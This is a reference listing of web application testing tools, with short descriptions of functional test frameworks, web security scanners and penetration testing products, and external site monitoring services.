TestOptimal - Functional/regression and load/stress testing automation platform for web applications and Java applications, from TestOptimal. Utilizes Model-Based Testing (MBT) and Mathematical Optimization techniques; test case generation and execution directly from the application model. TestOptimal is a web application iteself; can be integrated with JUnit and run inside Eclipse or NetBeans. Application modeling with graphs - state chart XML (SCXML) with drag and drop user interface running on standard browser; many test sequencers (test generation) to meet different testing needs, test automation with Java or mScript (XML-based scripting), statistical analysis on test executions and virtual (concurrent) users for load testing. With its WebService interface, can be integrated with other testing tools like Quality Center and QTP. Multiple browser support. For Windows, linux and unix.

WebUI Test Studio - Point-and-click web application testing tool from Telerik. Visual Studio Professional and Team System integration Browser abstraction capabilities avoid need to duplicate tests for different browsers. DOM Explorer, web element abstraction, dynamic AJAX pages synchronization, sentence based verification, GUI web recorder, and more. Also: Free 'WebAii Testing Framework' available separately for AJAX and Silverlight test automation; offers one consistent API for all supported browsers: IE, FF, and Safari for Windows, and can be integrated with various unit testing frameworks such as VS unit testing, NUnit, MbUnit and XUnit.

Windmill - Open source web testing framework; in Python. Capabilities include full reatured recorder - one click and the IDE writes the tests; DOM Explorer; assertion explorer - quickly generate action validating the state of application; test saving and playback; real time performance and output information; handles SSL; supports Python, JavaScript, Ruby; supports most browsers. Requires Python.

Ranorex Automation Framework - A Windows GUI test automation framework from Ranorex GmbH for testing many different application types including Web 2.0 applications, Win32, MFC, WPF, Flash, .NET and Java (SWT). For C++, Python and .NET languages. Avoids proprietary scripting languages and instead enables use of the functionalities of programming languages like Python or C# as a base and expand on it with its GUI automation functionality. The Ranorex Spy tool allows users to explore and analyze host or web applications. Ranorex object repositories and repository browser enables separation of test automation code/recordings from RanoreXPath identification information. The IDE includes test project management, integration of all Ranorex tools (Recorder, Repository, Spy), intuitive code editor, code completion, debugging, and watch monitor.

Celerity - An open source JRuby wrapper around HtmlUnit. Runs as a headless Java browser - speeding up web testing; Java threads enablle running tests in parallel; can run in background. JavaScript support. Provides simple API for programmatic navigation thu web apps. Intended to be API compatible with Watir. For any platform.

Webrat - Ruby-based utility to enable quick development of web app acceptance tests. Open source by Bryan Helmkamp. Leverages the DOM to run tests similarly to in-browser test tools like Watir or Selenium without the associated performance hit and browser dependency. Best for web apps that do NOT utilize Javascript; apps using Javascript in-browser tools may be more appropriate.

CubicTest - An open source graphical Eclipse plug-in for writing functional web tests in Selenium and Watir. Makes web tests faster and easier to write, and provides abstractions to make tests more robust and reusable. Tests are stored in XML, directly mapped from the CubicTest domain model to XML via XStream. Tests can at any time be exported to Selenium Core tables (a popular test format) or Watir test cases. Supports recording; maven.

Selenium Grid - An open source web functional testing tool that can transparently distribute your tests on multiple machines to enable running tests in parallel, cutting down the time required for running in-browser test suites. This enables speed-up of in-browser web testing. Selenium tests interact with a 'Selenium Hub' instead of Selenium Remote Control. The Hub allocates Selenium Remote Controls to each test. The Hub is also in charge of routing the Selenium requests from the tests to the appropriate Remote Control as well as keeping track of testing sessions. Requires Java 5+ JDK, Ant 1.7.x

Mechanize - Open source; Ruby library for automating interaction with websites; automatically stores and sends cookies, follows redirects, can follow links, and submit forms. Form fields can be populated and submitted. Also keeps track of the sites visited. It is a Ruby version of Andy Lester's Perl 'Mechanize' Note: does not handle javascript.

Automation Anywhere - Tool from Tethys Solutions using 'SMART' Automation Technology offers over 180+ powerful actions for web automation. Works with any website, including complex websites using java, javascript, AJAX, Flash or iFrames. Agent-less remote deployment allows automated task to be run over various machines on the network. An advanced Web Recorder ensures accurate re-runs taking into account website changes. Also includes an editor with Point & Click wizards to automate tasks in minutes. includes link checking.

StoryTestIQ - StoryTestIQ (STIQ) is a test framework used to create Automated Acceptance Tests. It's a mashup of Selenium and FitNesse: its "wiki-ized" Selenium with widgets and features that make it easier to write and organize Selenium tests.

Web2Test - Automated test tool from itCampus Software for testing of web-based applications and portals. Runs under Windows and Linux and supports Firefox, Internet Explorer, Mozilla and Seamonkey. Provides a scripting interface in Jython and Groovy. Test scripts are browser and platform independent; supports data driven and distributed testing.

Watij - Web Application Testing in Java, an open source pure Java API. Based on the simplicity of the Watir open source web test framework and enhanced by the capabilities of Java; automates functional testing of web apps through a real browser. Provides a BeanShell Desktop console; For MS IE on Windows.

TestMaker - Free open source utility maintained by PushToTest.com and Frank Cohen, for functional testing as well as performance and scalability testing. Features test authoring of Web applications, Rich Internet Applications (RIA) using Ajax, Service Oriented Architecture, and Business Process Management environments. Integrates Selenium, soapUI, TestGen4Web, and HTMLUnit to make test development faster/easier. Repurposes tests from these tools into tests, and business service monitors with no coding. Repurposes unit tests written in Java, Jython, JRuby, Groovy, and other dynamic scripting languages. Runs on any platform.

AutoMate - Automation platform from Network Automation, includes capability to simulates GUI activity via the browser.Inc with robust automated testing capabilities. Capabilities include support for HTTPS; Microsoft Excel Integration; a test run Event Database, native Terminal Emulation support. Tasks can be developed via drag-and-drop without writing code. Runs on Windows platforms.

Automation Anywhere - Functional test automation tool from Tethys Solutions, LLC, includes web test automation capabilities - includes a web recorder that understands web controls; web page data extraction capabilities. For Win platforms

Gomez RealityCheck XF - Provides functional testing for Web 2.0 applications; a solution for cross-browser, functional QA testing of traditional, Ajax-enabled, and other Rich Internet Applications. Enables easy creation and loading of scripts of business transactions recorded using Selenium.

iMacros for Firefox - Free Firefox add-on to record and automate web interactions. Can use variables inside the macros, and import data from CSV files. Includes user agent switcher, PDF download and Flash, ad and image blocking functions. The recorded macros can be combined and controlled with Javascript, so complex tasks can be scripted. The EXTRACT command enables reading of data from a website and exporting it to CSV files. Full Unicode support and works with all languages including multi-byte languages such as Chinese. STOPWATCH command enables capturing of web page response times

Avignon Acceptance Testing System - Open source acceptance test system that allows writing of executable tests in a language that the user can define. It uses XML to define the syntax of the language but, if the user chooses to extend the language, allows the semantics of the tests to be user-defined. Includes modules for testing web applications through either IE or FireFox, and modules for testing Swing and .NET WinForm applications also..

InCisif.Net - Web test tool from InCisif Software for client side functional testing of web apps under MSIE, using C# or VB.NET. Use InCisif Assistant to record user interactions with web application. Write, edit, execute and debug using MS Visual Studio or Visual Basic and C# Express.

Sahi - Free open-source web test tool, written in java and javascript, by Narayan Raman; capabilities include an Accessor Viewer for identifying html elements for scripting, editable scripts (javascript), simple APIs, ant support for playback of suites of tests, multi threaded playback, HTTP and HTTPS support, AJAX support, logging/reports, suites can run in multiple threads thus reducing the test execution time.

Vermont HighTest Plus - Regression-testing tool from Vermont Creative Software for web and windows applications; also tests stand-alone; direct integration into Internet Explorer. Integrated Debugger allows stepping through tests one line at a time to examine the value of variables in real-time. Scripting language with variables, arrays, loops and conditionals; record/playback Mousewheel actions; capture/compare windows, screens and file contents.

WebFT - Web-centric functional testing solution from Radview, supports both established and emerging web technologies. Provides a visual environment for creating Agendas (scripts) that include test recording, editing, debugging, verification and reporting features.

Floyd - A Java library for automated testing of web applications; provides full control of standard web browsers such as Firefox and MSIE. Interaction with the browser and any loaded web pages is achieved via calls to Floyd's Java API. Has two main components: a normal browser embedded into the web application and controlled via its public interface, and an embedded servlet container/web server. Can be used with any unit test library,

Imprimatur - Free web functional testing tool by Tony Locke, written in Java as a command-line application. Tests are described in a simple XML file; along with standard GET, POST and DELETE methods, handles HTTP authentication and file uploads. Responses can be validated using regular expressions.

WET - Open source web testing tool that drives MSIE directly; from Qantom Software Pvt. Ltd. Has many features like multiple parameter based object identification for more reliable object recognition, support for XML Based Object Repository and more. Scripting in Ruby; written in Ruby.

SOASTA Concerto - A suite of visual tools for automated web functional and load testing from SOASTA, Inc. Available as services on the web. Drag and drop visual interface that also allows access to underlying message complexity. Task-specific visual editors support creation of targets, messages, test cases, and test compositions. Works with Firefox and MSIE, Win and OSX.

Regression Tester - Web test tool from Info-Pack.com allows testing of functionality of any page or form Reports are fully customizable.

Yawet - Visual web test tool from InforMatrix GmbH enables graphical creation of web app tests. Create, run and debug functional and regression tests for web applications. Can verify HTML, XML, and PDF' ability to do report generation, reusable step libraires and parameterization. Freeware; download jar file and start by double-click or with command javaw -jar yawet.jar

vTest - Web functional and regression test tool from Verisium Inc. Includes record and playback capabilities and scripting utilizing JavaScript. For Windows platforms.

SWExplorerAutomation - Low cost web tool from Webius creates an automation API for any Web application which uses HTML and DHTML and works with MSIE. The Web application becomes programmatically accessible from any .NET language. The SWExplorerAutomation API provides access to Web application controls and content. The API is generated using SWExplorerAutomation Visual Designer, which helps create programmable objects from Web page content. Features include script recording and VB/C# code generation.

LISA for Web Apps - Automated web application testing tool from iTKO, Inc. Browser-based test record and playback. Point-and-click capture and reuse of a test case against any web application using any browser type. No test coding or scripting. Supports active sessions, SSL, authentication and magic strings.

Squish for Web - Cross platform automated testing framework from Froglogic GmbH for HTML-based Web and Web 2.0/Ajax applications running in any of several browsers. Record or create/modify scripts using Tcl, Python, JavaScript. Automatic identification of GUI objects of the AUT; inspect AUT's objects, properties and methods on run-time using the Squish Spy. Can be run via a GUI front-end or via command line tools. Can execute tests in a debugger allowing setting breakpoints and stepping through test scripts.

Funkload - Web functional testing and load testing tool written in Python and distributed as free software under the GNU GPL. Emulates a web browser (single-threaded) using webunit; https support; produces detailed reports in ReST, HTML, or PDF. Functional tests are pure Python scripts using the pyUnit framework.

WebCorder - Free GUI web testing tool from Crimson Solutions, developed in VB. Designed for end users who are doing web based software testing, as a simple tool to record test scenarios, and play them back and generate log files. The user may also check for text or images on the screen or save screenshots.

Watir - 'Web Application Testing in Ruby', a free open-source family of web automation libraries in Ruby. The libraries support IE on Windows, Firefox on Windows, Mac and Linux, Safari on Mac, Chrome on Windows and Flash testing with Firefox. Note: Firewatir (targeting Firefox) is now merged with Watir. For a listing of additional tools that are available to extend some capabilities - see the Watir site and also Alternative Tools for Web Testing' page at the OpenQA site for more info.

WatiN - 'Web Application Testing in .Net', a free open-source tool, drives MSIE browser and checks results. Uses C#. Automates all major HTML elements, find elements by multiple attributes, supports AJAX website testing, supports frames (cross domain) and iframes, supports popup dialogs like alert, confirm, login etc.,supports HTML dialogs (modal and modeless), and has a basic (extensible) logging mechanism Also available is a WatiN Test Recorder

Selenium - Free open-source tool, originially from Thoughtworks. Records web apps on Firefox; scripts recorded in 'Selenese' or any of 6 languages. Run against Internet Explorer, Mozilla and Firefox on Windows, Linux and Mac. For browser compatability testing and system functional testing.

PesterCat - Low cost web functional testing tool from PesterCat LLC. Features include recording and playback of HTTP web requests, XML format for saved scripts, HTTP response validations, perform backend database validations or call procedures, use variables and variable setters to make scripts dynamic, automate test scripts with Ant tasks to run scripts and generate reports. Requires Java JRE; for Linux, Mac OSX, and Windows.

IeUnit - IeUnit is an open-source simple framework to test logical behaviors of web pages, released under IBM's Common Public License. It helps users to create, organize and execute functional unit tests. Includes a test runner with GUI interface. Implemented in JavaScript for the Windows XP platform with Internet Explorer.

QEngine - Automated testing tool from Zoho Corp. for functional testing of web applications and web services. For Linux anx Windows. Records and plays in IE, Mozilla, and Firefox browsers.

AppPerfect DevSuite - Suite of testing, tuning, and monitoring products from AppPerfect Corp. that includes a web functional testing module. Records browser interaction by element instead of screen co-ordinates. Supports handling dynamic content created by JavaScript; supports ASP, JSP, HTML, cookies, SSL. For Windows and MSIE; integrates with a variety of IDE's.

JStudio SiteWalker - Test tool from Jarsch Software Studio allows capture/replay recording; fail definitions can be specified for each step of the automated workflow via JavaScript. JavaScript's Document Object Model enables full access to all document elements. Test data from any database or Excel spreadsheet can be mapped to enter values automatically into HTML form controls. HTML-based test result reports can be generated. Shareware for Windows/MSIE.

Test Complete Enterprise - Automated test tool from AutomatedQA Corp. for testing of web applicatons as well as Windows, .NET, and Java applications. Includes capabilities for automated functional, unit, regression, manual, data-driven, object-driven, distributed and HTTP load, stress and scalability testing. Requires Windows and MSIE.

actiWate - Java-based Web application testing environment from Actimind Inc. Advanced framework for writing test scripts in Java (similar to open-source frameworks like HttpUnit, HtmlUnit etc. but with extended API), and Test Writing Assistant - Web browser plug-in module to assist the test writing process. Freeware.

WebInject - Open source tool in PERL for automated testing of web applications and services. Can be used to unit test any individual component with an HTTP interface (JSP, ASP, CGI, PHP, servlets, HTML forms, etc.) or it can be used to create a suite of HTTP level functional or regression tests.

jWebUnit - Open source Java framework that facilitates creation of acceptance tests for web applications. Provides a high-level API for navigating a web application combined with a set of assertions to verify the application's correctness including navigation via links, form entry and submission, validation of table contents, and other typical business web application features. Utilizes HttpUnit behind the scenes. The simple navigation methods and ready-to-use assertions allow for more rapid test creation than using only JUnit and HttpUnit.

SimpleTest - Open source unit testing framework which aims to be a complete PHP developer test solution. Includes all of the typical functions that would be expected from JUnit and the PHPUnit ports, but also adds mock objects; has some JWebUnit functionality as well. This includes web page navigation, cookie testing and form submission.

WinTask - Macro recorder from TaskWare, automates repetitive tasks for Web site testing (and standard Windows applications), with its HTML objects recognition. Includes capability to expand scope of macros by editing and adding loops, branching statements, etc. (300+ commands); ensure robustness of scripts with Synchronization commands. Includes a WinTask Scheduler.

Canoo WebTest - Free Java Open Source tool for automatic functional testing of web applications. XML-based test script code is editable with user's preferred XML editor; until recording capabilities are added, scripts have to be developed manually. Can group tests into a testsuite that again can be part of a bigger testsuite. Test results are reported in either plain text or XML format for later presentation via XSLT. Standard reporting XSLT stylesheets included, and can be adapted to any reporting style or requirements.

TestSmith - Functional/Regression test tool from Quality Forge. Includes an Intelligent, HTML/DOM-Aware and Object Mode Recording Engine, and a Data-Driven, Adaptable and Multi-Threaded Playback Engine. Handles Applets, Flash, Active-X controls, animated bitmaps, etc. Controls are recorded as individual objects independent of screen positions or resolution; playback window/size can be different than in capture. Special validation points, such as bitmap or text matching, can be inserted during a recording, but all recorded items are validated and logged 'on the fly'. Fuzzy matching capabilities. Editable scripts can be recorded in SmithSript language or in Java, C++ or C++/MFC.

TestAgent - Capture/playback tool for user acceptance testing from Strenuus, LLC. Key features besides capture/playback include automatically detecting and capturing standard and custom content errors. Reports information needed to troubleshoot problems. Enables 'Persistent Acceptance Testing' that activates tests each time a web application is used.

MITS.GUI - Unique test automation tool from Omsphere LLC; has an intelligent state machine engine that makes real-time decisions for navigating through the GUI portion of an application. It can test thousands of test scenarios without use of any scripts. Allows creation of completely new test scenarios without ever having performed that test before, all without changing tool, testware architecture (object names, screen names, etc), or logic associated with the engine. Testers enter test data into a spreadsheet used to populate objects that appear for the particular test scenario defined.

Badboy - Tool from Bradley Software to aid in building and testing dynamic web based applications. Combines sophisticated capture/replay ability with performance testing and regression features. Free for most uses; source code avalable.

SAMIE - Free tool designed for QA engineers - 'Simple Automated Module For Internet Explorer'. Perl module that allows a user to automate use of IE via Perl scripts; Written in ActivePerl, allowing inheritance of all Perl functionality including regular expressions, Perl dbi database access, many Perl cpan library functions. Uses IE's built in COM object which provides a reference to the DOM for each browser window or frame. Easy development and maintenance - no need to keep track of GUI maps for each window. For Windows.

PAMIE - Free open-source 'Python Automated Module For Internet Explorer' Allows control of an instance of MSIE and access to it's methods though OLE automation . Utilizes Collections, Methods, Events and Properties exposed by the DHTML Object Model.

PureTest - Free tool from Minq Software AB, includes an HTTP Recorder and Web Crawler. Create scenarios using the point and click interface. Includes a scenario debugger including single step, break points and response introspection. Supports HTTPS/SSL, dynamic Web applications, data driven scenarios, and parsing of response codes or parsing page content for expected or unexpected strings. Includes a Task API for building custom test tasks. The Web Crawler is useful for verifying consistency of a static web structure, reporting various metrics, broken links and the structure of the crawled web. Multi-platform - written in Java.

Solex - Web application testing tool built as a plug-in for the Eclipse IDE (an open, extensible IDE). Records HTTP messages by acting as a Web proxy; recorded sessions can be saved as XML and reopened later. HTTP requests and responses are fully displayed in order to inspect and customize their content. Allows the attachment of extraction or replacement rules to any HTTP message content, and assertions to responses in order to validate a scenario during its playback.

QA Wizard Pro - Automated functional test tool for web, windows, and java applications from Seapine Software. Includes a next-generation scripting language, 'smart matching', a global application repository, data-driven testing support, validation check points, and built-in debugging, batch file support, a real-time status tool, and remote execution support.

HttpUnit - Open source Java program for accessing web sites without a browser, from SourceForge.net/Open Source Development Network, designed and implemented by Russell Gold. Ideally suited for automated unit testing of web sites when combined with a Java unit test framework such as JUnit. Emulates the relevant portions of browser behavior, including form submission, basic http authentication, cookies and automatic page redirection, and allows Java test code to examine returned pages as text, an XML DOM, or containers of forms, tables, and links. Includes ServletUnit to test servlets without a servlet container.

iOpus Internet Macros - Macro recorder utility from iOpus Inc. automates repetitious aspects of web site testing. Records any combination of browsing, form filling, clicking, script testing and information gathering; assists user during the recording with visual feedback. Power users can manually edit a recorded macro. A command line interface allows for easy integration with other test software. Works by remote controlling the browser, thus automatically supports advanced features such as SSL, HTTP-Redirects and cookies. Can handle data input from text files, databases, or XML. Can extract web data and save as CSV file or process the data via a script. For Windows and MSIE.

MaxQ - Free open-source web functional testing tool from Tigris.org, written in Java. Works as a proxy server; includes an HTTP proxy recorder to automate test script generation, and a mechanism for playing tests back from the GUI and command line. Jython is used as the scripting language, and JUnit is used as the testing library.

TestDrive-Gold - Test tool from Original Software Group Ltd. utilizes a new approach to recording/playback of web browser scripts. It analyses the underlying intentions of the script and executes it by direct communication with web page elements. IntelliScripting logic removes the reliance on specific browser window sizes, component location and mouse movements for accurate replay, and for easier script maintenance; supports hyperlinks targeted at new instances of browser. Playback can run in background while other tasks are performed on the same machine.

TestPartner - Automated software testing tool from Microfocus (formerly from Compuware) designed specifically to validate Windows, Java, and web-based applications. The 'TestPartner Visual Navigator' can create visual-based tests, or MS VBA can be used for customized scripting.

WebKing - Web site functional, load, and static analysis test suite from ParaSoft. Maps and tests all possible paths through a dynamic site; can enforce over 200 HTML, CSS, JavaScript, 508 compliance, WML and XHTML coding standards or customized standards. Allows creation of rules for automatic monitoring of dynamic page content. Can run load tests based on the tool's analysis of web server log files. For Windows, Linux, Solaris.

eValid - Web functional test tool from Software Research Inc. Browser-centric view simplifies test recording and editing, and replays user activity with accuracy by combining browser-internal data, timers, event counters, and direct DOM access. Can be used for AJAX-based web development methodologies. The built-in test suite management system eV.Manager controls test suite structure, runs tests automatically, records detailed logs and pass/fail statistics, and can handle hundreds of thousands of tests.

Rational Functional Tester - IBM's (formerly Rational's) automated tool for testing of Java, .NET, and web-based applications. Enables data-driven testing, choice of scripting languages and editors. For Windows and Linux.

QuickTest Pro - Functional/regression test tool from HP (formerly Mercury); keyword-driven; includes support for testing Web, Java, ERP, etc.

SilkTest - Functional test tool from Microfocus (formerly from Borland, formerly from Segue) for Web, Java or traditional client/server-based applications. Features include: test creation and customization, test planning and management, direct database access and validation, recovery system for unattended testing, and IDE for developing, editing, compiling, running, and debugging scripts, test plans, etc.

Return to top of web tools listing

Web Site Security Test Tools

Powerfuzzer - Open source automated customizable Web fuzzer; based on many other Open Source fuzzers available and information gathered from numerous security resources and websites. Capable of spidering website and identifying inputs. Capable of identifying common web vulnerabilities (incl. XSS, SQL Injection). Supports https. Written in python. Project leader is Marcin Kozlowski. Commercial version Powerfuzzer Online available as an online service.

SecPoint Penetrator - Site/network security testing tool from SecPoint ApS, available as penetration testing appliance or as a web-based service. Provides full vulnerability scanning, pen testing and capability to launch real exploits. Can change the IP addresses to scan on the license and can brand reports with your own logo. Scan for both Web and Host vulnerabilities; more than 14.000 remote unique vulnerabilities; including Cross Site Scripting (XSS), SQL Injection, Directory Traversal vulnerabilities, command execution vulnerabilities, information disclosure vulnerabilities, file inclusion vulnerabilities.

Netsparker - A false-positive free web application security scanner from Mavituna Security with integrated exploitation features to allow users to exploit the identified vulnerabilities and see the real impact of the problem. Capabilities include websites that rely on AJAX and Javascript; confirms vulnerabilities by exploiting them in a safe non-destructive manner; specific impact and remediation information is tailored based on details of issue. For Windows.

ZeroDayScan - Free web site security scanning service; capabilities include cross site scripting attacks (XSS), detects hidden firectories and backup files, looks for known security vulnerabilities, searches for SQL Injection vulnerabilities, generates free reports, more.

Fortify 360 - Security product from Fortify Software Inc. includes vulnerability detection. Integrates static source code analysis, dynamic runtime analysis, and real-time monitoring to identify and accurately prioritize the greatest number of critical security vulnerabilities. Capabilities include the Program Trace Analyzer (PTA) that finds vulnerabilities that become apparent only while an application is running - integrate into a QA test to find vulnerabilities while a functional test is being conducted on an application.

OWASP Security Testing Tools - Variety of free and open source web security testing tools via the OWASP (Open Web Application Security Project) site. SQLiX is an SQL injection vulnerability test tool that uses multiple techniques - conditional errors injection; blind injection based on integers, strings or statements, MS-SQL verbose error messages ("taggy" method); can identify database version and gather info for MS-Access, MS-SQL, MySQL, Oracle and PostgreSQL. Other security testing tools available include WebScarab, Tiger, LAPSE, Pantera, etc.

Retina Web Security Scanner - Vulnerability scanning tool from eEye Inc. for large, complex web sites and web applications. Identifies application vulnerabilities as well as site exposure risk, ranks threat priority, produces graphical, intuitive HTML reports, and indicates site security posture by vulnerabilities and threat level. Also performs an advanced site analysis on site structure, content and configuration to identify inherent exposure to future or emerging threats.

Hailstorm - Automated web security testing tool from Cenzic Inc.; customize and configure tests based on requirements, or use pre-sets for quick assessments. Capabilities include: prioritize vulnerabilities with a quantitative score called HARM; easy-to-use wizard-based interface; 'SmartAttacks' library, updated frequently; comprehensive reports with detailed remediation information and export capabilities; administrator control over user roles, tasks and privileges. Enterprise, Pro, Core, and Starter versions.

GamaSec - Automated online website vulnerability assessment delivers proactive tests to Web Servers, Web-interfaced Systems, and Web-based Applications. Configurable scan intervals/frequency. Supports a wide variety of HTTP Authentication schemes, common HTTP protocol, BASIC, NTLM with abilities to analyze the broadest web technologies; PHP, ASP.NET, ASP, etc.

Wikto - Web server security assessment tool for windows servers, open source, from SensePost. It's three main sections are its Back-End miner, Nikto-like functionality, and Googler to obtain additional directories for use by the other two. Includes ability to export results to CSV file

Nikto Scanner - Open source web server scanner from CIRT.net which performs comprehensive tests against web servers for multiple items, including over 3300 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated.

HP WebInspect - WebInspect automated security assessment tool for web applications and services, from HP (Formely SPI Dynamics). Identifies known and unknown vulnerabilities, includes checks that validate proper web server configuration. Capabilities includes discovery of all XML input parameters and parameter manipulation on each XML field looking for vulnerabilities within the service itself. Requires Windows and MSIE.

AppScan - Tool suite from Rational/IBM (formerly Watchfire) automates web application security testing, produces defect analyses, and offers recommendations for fixing detected security flaws. Assessment module can be used by auditors and compliance officers to conduct comprehensive audits, and to validate compliance with security requirements.

Acunetix Web Vulnerability Scanner - Web site security testing tool from Acunetix first identifies web servers from a particular IP or IP range. It then crawls entire site, gathering information about every file it finds, and displaying website structure. After this discovery stage, it performs an automatic audit for common security issues. Applications utilizing CGI, PHP, ASP, ASP.NET can all be tested for vulnerabilities such as cross site scripting, SQL injection, CRLF injection, code execution, directory traversal and more. Requires Windows and MSIE.

Defensics Core Internet Test Suite - Security testing tool from Codenomicon Onc. searches and pre-emptively eliminates security-related flaws from the implementations that create the backbone of the modern Internet and communication between the networked devices. This includes, but is not limited to, routers, switches, firewalls, desktop and server systems, laptops, PDAs, cell phones and other mobile systems, as well as a large number of various embedded systems. Because several protocols from this category are often tightly coupled with the underlying operating system, serious flaws in handling them may easily result in total system compromises.

Perimeter Check - SecurityMetrics 'Perimeter Check' service analyzes external network devices like servers, websites, firewalls, routers, and more for security vulnerabilities which may lead to interrupted service, data theft or system destruction. Includes instructions to help immediately remedy security problems. Can automatically schedule vulnerability assessment of designated IP addresses during low traffic times.

Core Impact Pro - Security testing tool from Core Security Technologies for web apps and other systems. Uses penetration testing techniques to safely identify exposures to critical, emerging threats and trace complex attack paths

C5 Compliance Platform - Security testing apliance from SecureElements Inc. for determining security and compliance status across heterogeneous systems. Identifies security vulnerabilities, finds compliance exposures, evaluates and matches exposures with fixes, provides ready to deploy remediations and enforcement actions, and summarized or detailed views of monitored assets, information security exposures, and compliance risks.

Snort - Open source network intrusion prevention and detection system from Sourcefire Inc.; uses a rule-driven language, which combines the benefits of signature, protocol and anomaly based inspection methods. Can perform protocol analysis, content searching/matching and can be used to detect a variety of attacks and probes, such as buffer overflows, stealth port scans, CGI attacks, SMB probes, OS fingerprinting attempts, and much more.

SecurityMetrics Appliance - Integrated software and hardware device includes Intrusion Detection and Prevention Systems and Vulnerability Assessment. Operates as a Layer 2 Bridge - no network configuration needed. Automatically downloads latest IDS attack signatures, vulnerability assessment scripts and program enhancements nightly.

Nessus - Vulnerability scanner from Tenable Network Security with high speed discovery, configuration auditing, asset profiling, sensitive data discovery and vulnerability analysis of security posture. Nessus scanners can be distributed throughout an entire enterprise, inside DMZs, and across physically separate networks. Free to download and subscriptions for vulnerability updates are free for home users; annual fee for Professional license. Updated continuously. Includes scripting language for writing custom plugins.

Security Center - Security management tool from Tenable Network Security for asset discovery, vulnerability detection, event management and compliance reporting for small and large enterprises. Includes management of vulnerability, compliance, intrusion and log data. Company also provides the Nessus Vulnerability Scanner, and Passive Vulnerability Scanner.

SARA - 'Security Auditor's Research Assistant' Unix-based security analysis tool from Advanced Research Corp. Supports the FBI/SANS Top 20 Consensus; remote self scan and API facilities; plug-in facility for third party apps; SANS/ISTS certified, updated bi-monthly; CVE standards support; based on the SATAN model. Freeware. Also available is 'Tiger Analytical Research Assistant' (TARA), an upgrade to the TAMU 'tiger' program - a set of scripts that scan a Unix system for security problems.

Qualys Free Security Scans - Several free security scan services from Qualys, Inc. including SANS/FBI Top 20 Vulnerabilities Scan, network security scan, and browser checkup tool.

GFiLANguard - Network vulnerability and port scanner, patch management and network auditing tool from GFI Software. Scans using vulnerability check databases based on OVAL and SANS Top 20, providing thousands of vulnerability assessments.

Qualys Guard - Online service that does remote network security assessments; provides proactive 'Managed Vulnerability Assessment', inside and outside the firewall,

PatchLink Scan - Stand-alone network-based scanning solution from Lumension Security that performs a comprehensive external scan of all of the devices on your network, including servers, desktop computers, laptops, routers, printers, switches and more; risk-based prioritization of identified threats; continuously updated vulnerability database for orderly remediation; comprehensive reports of scan results

Secure-Me - Automated security test scanning service from Broadbandreports.com for individual machines. Port scans, denial-of-service checks, 45 common web server vulnerability checks, web server requests-per-second benchmark, and a wide variety of other tests. Limited free or full licensed versions available.

SAINT - Security Administrator's Integrated Network Tool - Security testing tool from SAINT Corporation. An updated and enhanced version of the SATAN network security testing tool. Updated regularly; CVE compatible. Includes DoS testing, reports specify severity levels of problems. Single machine or full network scans. Also available is 'WebSAINT' self-guided scanning service, and SAINTbox scanner appliance. Runs on many UNIX flavors.

NMap Network Mapper - Free open source utility for network exploration or security auditing; designed to rapidly scan large networks or single hosts. Uses raw IP packets in novel ways to determine what hosts are available on the network, what services (ports) they are offering, what operating system (and OS version) they are running, what type of packet filters/firewalls are in use, and many other characteristics. Runs on most flavors of UNIX as well as Windows.

NetIQ Security Analyzer - Multi-platform vulnerability scanning and assessment product. Systems are analyzed on demand or at scheduled intervals. Automatic update service allows updating with latest security tests. Includes a Software Developer's Kit to allow custom security test additions. For Windows/Solaris/Linux

Foundstone - Vulnerability management software tools from McAfee/Network Associates can provide comprehensive enterprise vulnerability assessments, remediation information, etc. Available as a hardware appliance, software product, or managed service.

CERIAS Security Archive - Purdue University's 'Center for Education and Research in Information Assurance and Security' site; 'hotlist' section includes extensive collection of links, organized by subject, to hundreds of security information resources and tools, intrusion detection resources, electronic law, publications, etc. Also includes an FTP site with a large collection of (mostly older) security-related utilities, scanners, intrusion detection tools, etc.

StopBadware Vulnerability Scanner list - Web site vulnerability testing tool list from the StopBadware site, based at Harvard University’s Berkman Center for Internet & Society.

OWASP Security Testing Tools Listing - Listing of commercial, free, and open source security testing tools, source code analyzers, and binary analysis tools via the OWASP (Open Web Application Security Project) site.

Top 100 Security Tools - Listing of 'top 100' network security tools from survey by Insecure.org. (Includes various types of security tools, not just for testing.)

Return to top of web tools listing

External Site Monitoring Services

IP-label.newtest - An external availability and performance monitoring solution from Datametrie for internet services (websites, streaming, mail servers etc) and business applications based upon a network of more than 60 measurement points worldwide which provide real-time insight into how internet users experience a website.

Techout - Measure and optimize speed and availability of critical online applications. Website monitoring, business transaction monitoring, REST/SOAP Web Services Monitoring, Cloud Monitoring/Amazon Web Service Monitoring, more. Also available as an iPhone application.

100Pulse - Online Website Monitoring service from HIOX Web Services; free and paid services available. Monitor websites, Port and DNS Servers for availability and performance; free Instant alerts through E-mail, RSS Feed and Google gadget; analyze site's periodic performance through graphs, charts and statistical data; periodical Reports customizable by all users

EZ Web Site Monitoring - Service can keep tabs on your website and competitor websites in one easy report. Monitor uptime, response time monitoring, weekly error checking; track keywords and popularity, and always know when it changes.

Uptime Party - Web server monitoring for small business or personal web sites. Sends message if it's down, and when it's back up. Notifications via email or cell phone. Free for one server. $ for more than one, and monitoring is every 15 or 30 minutes.

Watchmouse - Site monitoring service includes website preformance monitoring (checks web servers continuously from over 20 locations worldwide), functionality monitoring (monitor transactions of up to 20 steps/1MB with a single script), periodic vulnerability scanning. (new vulnerabilities added daily, detailed security reports), and external automated load testing service.

SiteUpTime - Basic plan for monitoring one web site is free; others $. Highly configurable service options, multiple monitoring locations around the world; if more than one location detects a connection failure a notification is sent.

Panopta Advanced Server Monitoring - Web site monitoring service and outage management system from Panopta LLC for online businesses and service providers, with the ability to detect outages immediately, provide notifications, and provide a team the right tools to resolve the outage quickly. Checks services every 60 seconds using global monitoring network.

Pingdom - Server, network and website monitoring services from Pingdom AB. Includes current and historical reporting; world-wide network of monitoring servers; checks every 1-60 mins.

Site 24x7 - Monitoring of website uptime & performance from multiple geographical locations; monitor multi-step web applications or e-business transactions; monitor DNS servers & email server round-trip time; instant alerts for any downtime or threshold violations; email/SMS alerts and reports. Also available are free accounts with limited services for personal use.

